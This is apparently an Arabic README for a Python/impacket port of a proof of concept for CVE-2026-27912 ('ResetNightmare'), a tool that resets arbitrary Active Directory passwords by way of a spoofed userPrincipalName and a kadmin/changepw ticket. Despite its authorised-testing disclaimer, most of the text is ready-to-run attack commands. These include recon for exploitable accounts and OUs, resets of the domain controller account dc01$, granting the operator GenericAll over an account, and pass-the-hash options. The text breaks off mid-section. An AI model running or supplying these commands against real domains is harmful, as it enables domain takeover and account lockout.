
CVE-2026-27912 (ResetNightmare) — نسخة Linux/impacket من PoC Invoke-ResetNightmare الخاصة بـ Semperis Community
أدوات Linux / impacket لـ CVE-2026-27912 ("ResetNightmare"). تعيد تعيين كلمة مرور حساب
Active Directory هدف عبر طلب TGT من نوع kadmin/changepw لأصل NT_ENTERPRISE
اسمه هو sAMAccountName الخاص بالهدف، باستخدام حساب (UPNUser) نملك عليه صلاحية كتابة
userPrincipalName مزيف.
نقل إلى Python لأداة PowerShell Semperis Community Invoke-ResetNightmare
(انظر Credits).
لاختبار الأمان المصرّح به والاستخدام التعليمي فقط. تغيّر هذه الأداة بيانات اعتماد Active Directory حقيقية وقد تؤدي إلى قفل الحسابات.
GenericAll، وتعيين كلمة مروره، وتفعيله.sAMAccountName الخاص بالهدف.UPNUser.userPrincipalName = <targetSAN> (الـ UPN المزيف).NT_ENTERPRISE '<targetSAN>' لـ kadmin/changepw — يربط الـ KDC
الـ UPN المؤسسي بـالهدف ويصدر له TGT لتغيير كلمة المرور.--upn-user--upn-user هو الحساب الذي تكتب عليه الـ UPN المزيف (مستخدم، أو حاسوب مع
--computer). الشرط الوحيد هو أن تكون قادرًا على كتابة userPrincipalName الخاص به.
هناك ثلاث طرق للحصول على ذلك — وهي نفسها التي تعتمد عليها أداة PowerShell الأصلية:
| # | كيف تحصل على صلاحية كتابة UPN | الخيار | يحتاج إلى OU؟ |
|---|---|---|---|
| A | إنشاء الحساب في OU تملك فيه صلاحية Create Child → يصبح ملكك → تمنح الأداة نفسها GenericAll → تكتب الـ UPN | --create-new-path | نعم |
| B | حساب موجود لديك عليه بالفعل GenericWrite / GenericAll / WriteProperty(userPrincipalName) | (لا شيء) | لا |
| C | حساب موجود تملكه أو لديك عليه WriteDacl (بدون كتابة مباشرة على الخاصية) | --grant-self | لا |
لذا لا تحتاج بالضرورة إلى التحكم في OU — فالمسار B يعمل بالاعتماد على صلاحيات
مفوّضة على أي حساب واحد. لكنك تحتاج إلى واحد من A/B/C. شغّل --find لترى
أيها لديك.
حاسوب نطاق وحده لا يكفي. جهاز أنت مسؤول محلي عليه / تحمل الـ hash الخاص به — لكن ليس لديك حقوق كتابة في AD عليه — لا يمنحك أيًا من A/B/C. كما أن الحاسوب المُنشأ عبر MachineAccountQuota (
addcomputer.pyإلىCN=Computers) لا يعمل أيضًا: فمنشئه ليس المالك ولا يحصل على صلاحية كتابة UPN، لذا تفشل كل من الكتابة المباشرة و--grant-selfبالخطأresult 50. استخدم المسار A مع OU مفوّض.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
بيانات اعتماد المشغّل هي الوسيط الموضعي الأول: [domain/]username[:password].
يمكن حذف أي كلمة مرور وستُطلب منك.
الاستطلاع — ما الذي يمكن لهذا الحساب إساءة استخدامه؟ يُبلّغ عن الحسابات التي يمكنك كتابة UPN عليها، وعن الوحدات التنظيمية (OUs) التي يمكنك إنشاء كائنات فيها، وعن MachineAccountQuota، مع أوامر مقترحة:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
كل نتيجة تطبع سبب/أسباب via: الخاصة بها وowner: الخاص بالكائن. يخبرك المالك
بتمييز مساري إنشاء الكمبيوتر بنظرة واحدة — كمبيوتر الحاوية المفوَّض يُظهر
owner: <you> (لديك WRITE_DAC ضمنيًا، لذا يعمل --grant-self)، بينما يُظهر كمبيوتر MAQ /
CN=Computers القيمة owner: BUILTIN\Administrators (لا تملك ذلك، لذا لا يمكن استخدامه):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
إعادة تعيين هدف باستخدام حساب يمكنك كتابة UPN عليه:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
أنشئ حساب UPN أولاً (يتطلب صلاحية Create Child على الـ OU، و LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
إنشاء حساب كمبيوتر كحساب UPN (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
حساب موجود حيث يمكنك إعادة كتابة DACL ولكن لا يمكنك كتابة UPN (--grant-self).
عندما يُبلّغ --find عن --upn-user يمكن الوصول إليه عبر Owner أو WriteDacl (يمكنك
تغيير ACL الخاص به ولكن ليس لديك كتابة مباشرة على الخصائص)، يضيف --grant-self ACE من نوع GenericAll لك
أولاً، ثم يستمر الهجوم. فقط للحسابات الموجودة — --create-new-path
يمنح نفسه الصلاحية بالفعل.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
إذا فشل
--grant-selfنفسه بـresult 50، فأنت لست المالك ولا تملك WriteDacl على ذلك الحساب — لن يفيد. هذه هي النتيجة المعتادة لجهاز أنشأته عبرaddcomputer.py/MAQ: عادةً لا يحصل المنشئون على الملكية ولا على كتابة UPN، لذا أجهزة MAQ غير قابلة للاستخدام كـ--upn-user. شغّل--findواختر حسابًا يُشير إليه بـWriteProperty(userPrincipalName)أوGenericWriteأوGenericAllأوOwnerأوWriteDacl.
أضف -debug لتسجيل مفصّل لـ AS-REQ / LDAP / kpasswd.
| العلم | المعنى |
|---|---|
<positional> | بيانات اعتماد المشغّل: [domain/]username[:password] |
--target-account | sAMAccountName المراد إعادة تعيينه (حسابات الأجهزة تنتهي بـ $) |
--target-new-password | كلمة المرور الجديدة المراد تعيينها على الهدف |
--upn-user | الحساب المراد كتابة UPN المزيف عليه (أو إنشاؤه بـ --create-new-path) |
--upn-user-password | كلمة مرور --upn-user بصيغة نص صريح |
--computer | التعامل مع --upn-user كحساب جهاز |
--create-new-path <DN> | OU/Container لإنشاء --upn-user فيه أولًا (يتطلب LDAPS) |
--grant-self | منح المشغّل GenericAll على --upn-user موجود تملكه قبل كتابة UPN (يتطلب الملكية / WriteDacl) |
--find | استطلاع: الإبلاغ عن الحسابات/الـ OUs القابلة للاستغلال (مع owner لكل نتيجة) + الأوامر المقترحة، ثم الخروج |
--list-ous | سرد الـ OUs/Containers ثم الخروج (اختر --create-new-path صالحًا) |
--aes-key <hex> | مفتاح AES الخاص بـ --upn-user لـ AS-REQ بدلًا من كلمة مرور |
--upn-user-hash <NT> | تجزئة NT (أو LM:NT) الخاصة بـ --upn-user لـ AS-REQ بدلًا من كلمة مرور |
-k, --kerberos | ربط LDAP عبر Kerberos (SASL/GSSAPI) (يستخدم KRB5CCNAME) |
-H LM:NT | ربط LDAP (NTLM) عبر Pass-the-hash |
--no-pass | عدم طلب كلمة مرور (استخدم -k / KRB5CCNAME) |
--dc-host | اسم مضيف/ FQDN للـ DC (لـ Kerberos SPNs) |
--dc-ip | عنوان IP للـ DC |
--no-ssl | LDAP عادي/389 (غير متوافق مع --create-new-path) |
--supported-encryption | نوع التشفير المفضّل، معلوماتي (الافتراضي aes256) |
-debug | تسجيل مفصّل |
يُطلب إدخال كلمات المرور تفاعليًا عند حذفها.
إخفاقات --create-new-path: